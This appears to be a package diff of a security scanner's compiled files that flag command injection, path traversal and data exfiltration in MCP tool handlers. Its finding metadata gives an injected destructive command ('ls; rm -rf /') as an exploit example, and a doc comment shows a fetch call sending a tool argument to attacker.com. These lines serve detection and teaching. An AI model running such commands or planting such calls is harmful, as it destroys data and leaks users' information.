owasp: 'A03:2021 - Injection',
|
|
314
|
+
cwe: 'CWE-78 OS Command Injection',
|
|
315
|
+
pciDss: 'PCI-DSS 6.3.1',
|
|
316
|
+
attackVector: {
|
|
317
|
+
description: 'The shell: true option causes spawn/execFile to join arguments into a shell command string. This turns a safe API into an injection vector — any argument containing shell metacharacters will be interpreted by the shell.',
|
|
318
|
+
exploitExample: `spawn(args.cmd, args.args, { shell: true }) // args.cmd = "ls; rm -rf /"`,
|
|
319
|
+
realWorldImpact: [
|
|
320
|
+
'Command injection via shell metacharacters',
|
|
321
|
+
'Arbitrary command execution',
|
|
322
|
+
'Data exfiltration'
|
|
323
|
+
]
|
|
324
|
+
},
|
|
325
|
+
remediation: {
|
|
326
|
+
before: `spawn(cmd, args, { shell: true })`,
|
|
327
|
+
after: `spawn(cmd, args, { shell: false }) // or omit shell option entirely`,
|
|
328
|
+
explanation: 'Always pass command arguments as an array to spawn(). Never use shell: true with user-supplied input.'
|
|
329
|
+
}
|
|
330
|
+
}));
|
|
331
|
+
}
|
|
332
|
+
}
|
|
333
|
+
}
|
|
334
|
+
return vulnerabilities;
|
|
335
|
+
}
|
|
336
|
+
//# sourceMappingURL=mcp-security-exec-checks.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"mcp-security-exec-checks.js","sourceRoot":"","sources":["../../../../../../../../src/lib/analyzers/javascript/security-checks/mcp-security-exec-checks.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* MCP Path & Exfiltration Security Checks — JavaScript/TypeScript
|
|
3
|
+
*
|
|
4
|
+
* Contains path traversal and data exfiltration checks for MCP tool handlers:
|
|
5
|
+
* MCP-JS-003 — Path traversal via path.join/resolve without boundary check
|
|
6
|
+
* MCP-JS-004 — Data exfiltration via outbound HTTP with tool arg in URL
|
|
7
|
+
*
|
|
8
|
+
* Both checks use brace-depth tracking scoped to tool handler callbacks,
|
|
9
|
+
* preventing false positives on path/HTTP calls outside handlers.
|
|
10
|
+
*
|
|
11
|
+
* @module mcp-security-path-checks
|
|
12
|
+
*/
|
|
13
|
+
import { SecurityVulnerability } from '../../types';
|
|
14
|
+
import { CreateVulnerabilityFn } from './mcp-security';
|
|
15
|
+
/**
|
|
16
|
+
* MCP-JS-003: Path traversal in tool handler without boundary check
|
|
17
|
+
* Severity: HIGH (CVSS 7.5) | CWE-22
|
|
18
|
+
*
|
|
19
|
+
* Detects tool handlers that build filesystem paths using path.join/resolve
|
|
20
|
+
* with a tool argument, but do NOT perform a startsWith() boundary check in
|
|
21
|
+
* the same handler to confine access to an allowed directory.
|
|
22
|
+
*
|
|
23
|
+
* Algorithm:
|
|
24
|
+
* 1. Track entry/exit of each server.tool() callback via brace depth.
|
|
25
|
+
* 2. Inside the handler, record lines where path.join/resolve AND a tool arg
|
|
26
|
+
* access appear together.
|
|
27
|
+
* 3. Also watch for .startsWith() — this is the safe-pattern signal.
|
|
28
|
+
* 4. On handler exit: if path join lines were found AND no boundary check was
|
|
29
|
+
* seen, emit MCP-JS-003 for each flagged line.
|
|
30
|
+
*
|
|
31
|
+
* Safe pattern: path.resolve(BASE, args.x) + resolved.startsWith(BASE) → no finding.
|
|
32
|
+
*/
|
|
33
|
+
export declare function checkPathTraversal(code: string, createVulnerability: CreateVulnerabilityFn): SecurityVulnerability[];
|
|
34
|
+
/**
|
|
35
|
+
* MCP-JS-004: Data exfiltration via outbound HTTP in tool handler
|
|
36
|
+
* Severity: HIGH (CVSS 7.5) | CWE-200
|
|
37
|
+
*
|
|
38
|
+
* Detects tool handlers that make outbound HTTP requests (fetch, axios,
|
|
39
|
+
* https.request, got, request) where the URL is a template literal containing
|
|
40
|
+
* a tool argument interpolation. Static URLs without arg interpolation are safe
|
|
41
|
+
* and are not flagged.
|
|
42
|
+
*
|
|
43
|
+
* Algorithm:
|
|
44
|
+
* 1. Track entry/exit of each server.tool() callback via brace depth.
|
|
45
|
+
* 2. Inside the handler, check each line for an HTTP client call AND a
|
|
46
|
+
* template literal URL that interpolates a tool arg.
|
|
47
|
+
* 3. Emit MCP-JS-004 for each matching line.
|
|
48
|
+
*
|
|
49
|
+
* Safe pattern: fetch('https://static.api/endpoint') → no finding.
|
|
50
|
+
* Dangerous: fetch(`https://attacker.com?q=${args.query}`) → finding.
|
|
51
|
+
*/
|
|
52
|
+
export declare function checkDataExfiltration(code: string, createVulnerability: CreateVulnerabilityFn): SecurityVulnerability[];
|
|
53
|
+
//# sourceMappingURL=mcp-security-path-checks.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"mcp-security-path-checks.d.ts","sourceRoot":"","sources":["../../../../../../../../src/lib/analyzers/javascript/security-checks/mcp-security-path-checks.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAEH,OAAO,EAAE,qBAAqB,EAAE,MAAM,aAAa,CAAC;AACpD,OAAO,EAAE,qBAAqB,EAAE,MAAM,gBAAgB,CAAC;AAkCvD;;;;;;;;;;;;;;;;;GAiBG;AACH,wBAAgB,kBAAkB,CAChC,IAAI,EAAE,MAAM,EACZ,mBAAmB,EAAE,qBAAqB,GACzC,qBAAqB,EAAE,CAsFzB;AAID;;;;;;;;;;;;;;;;;GAiBG;AACH,wBAAgB,qBAAqB,CACnC,IAAI,EAAE,MAAM,EACZ,mBAAmB,EAAE,qBAAqB,GACzC,qBAAqB,EAAE,CAgEzB"}
|